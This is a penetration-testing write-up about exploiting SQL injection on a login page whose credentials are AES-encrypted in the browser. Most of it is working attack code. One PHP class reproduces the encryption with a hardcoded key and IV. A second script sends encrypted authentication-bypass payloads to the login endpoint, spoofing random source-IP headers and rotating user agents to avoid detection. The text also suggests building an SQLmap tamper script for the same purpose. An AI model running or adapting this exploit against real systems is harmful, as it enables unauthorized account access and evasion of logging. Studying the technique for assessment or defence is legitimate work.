Exploiting SQL Injection by Bypassing Client-Side Encryption
During a security assessment of a web application at http://aa.test.com:8088/Admin/Login, a SQL injection vulnerability was identified. The login request revealed that the username and password parameters were encrypted on the client side before transmission.
Analysis of the page's JavaScript source code uncovered the encryption mechanism. The client was using AES-128 in CBC mode with PKCS5 padding. The encryption key was 123456789ABCDEFG123456789ABCDEFG and the initialization vector was 123456789ABCDEFG. The encrypted output was converted to a hexadecimal string.
To exploit the SQL injection, the encryption process had to be replicated locally to generate valid, malicious payloads. The following PHP class implements the identical encryption logic.
<?php
class PayloadEncoder {
private $cipherMethod = MCRYPT_RIJNDAEL_128;
private $cipherMode = MCRYPT_MODE_CBC;
private $encryptionKey = '123456789ABCDEFG123456789ABCDEFG';
private $initializationVector = '123456789ABCDEFG';
public function encodeData($plaintext) {
$blockSize = mcrypt_get_block_size($this->cipherMethod, $this->cipherMode);
$paddedText = $this->applyPadding($plaintext, $blockSize);
$encryptedBytes = mcrypt_cbc($this->cipherMethod, $this->encryptionKey, $paddedText, MCRYPT_ENCRYPT, $this->initializationVector);
return strtolower(bin2hex($encryptedBytes));
}
private function applyPadding($inputText, $blockLength) {
$paddingSize = $blockLength - (strlen($inputText) % $blockLength);
return $inputText . str_repeat(chr($paddingSize), $paddingSize);
}
}
With the ability to encrypt arbitrary strings, a script was created to automate the injection attack. This script sends properly encrypted SQL injection payloads with in the UserName and Password parameters.
<?php
require_once('PayloadEncoder.php');
class InjectionRequest {
public function sendPayload($url, $postData, $cookie = '', $referrer = '') {
$requestHeaders = [
'CLIENT-IP: ' . $this->generateRandomIp(),
'X-FORWARDED-FOR: ' . $this->generateRandomIp(),
'Content-Type: application/x-www-form-urlencoded',
'X-Requested-With: XMLHttpRequest',
];
$userAgents = [
'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36',
'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15',
];
$selectedAgent = $userAgents[array_rand($userAgents)];
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_USERAGENT, $selectedAgent);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($postData));
curl_setopt($ch, CURLOPT_HTTPHEADER, $requestHeaders);
if ($cookie) {
curl_setopt($ch, CURLOPT_COOKIE, $cookie);
}
if ($referrer) {
curl_setopt($ch, CURLOPT_REFERER, $referrer);
}
$response = curl_exec($ch);
curl_close($ch);
return $response;
}
private function generateRandomIp() {
return mt_rand(11, 191) . "." . mt_rand(0, 240) . "." . mt_rand(1, 240) . "." . mt_rand(1, 240);
}
}
$encoder = new PayloadEncoder();
$injector = new InjectionRequest();
$payload = "admin' OR '1'='1'--";
$encryptedPayload = $encoder->encodeData($payload);
$postFields = [
'UserName' => $encryptedPayload,
'Password' => $encryptedPayload
];
$targetUrl = 'http://aa.test.com:8088/Admin/Login_Submit';
$result = $injector->sendPayload($targetUrl, $postFields);
echo $result;
?>
This approach successfully bypassed the client-side encryption, allowing the underlying SQL injection vulnerability to be exploited. Standard tools like SQLmap can also be used for this purpose by employing a custom tamper script that applies the same AES encryption to payloads before sending them to the target endpoint.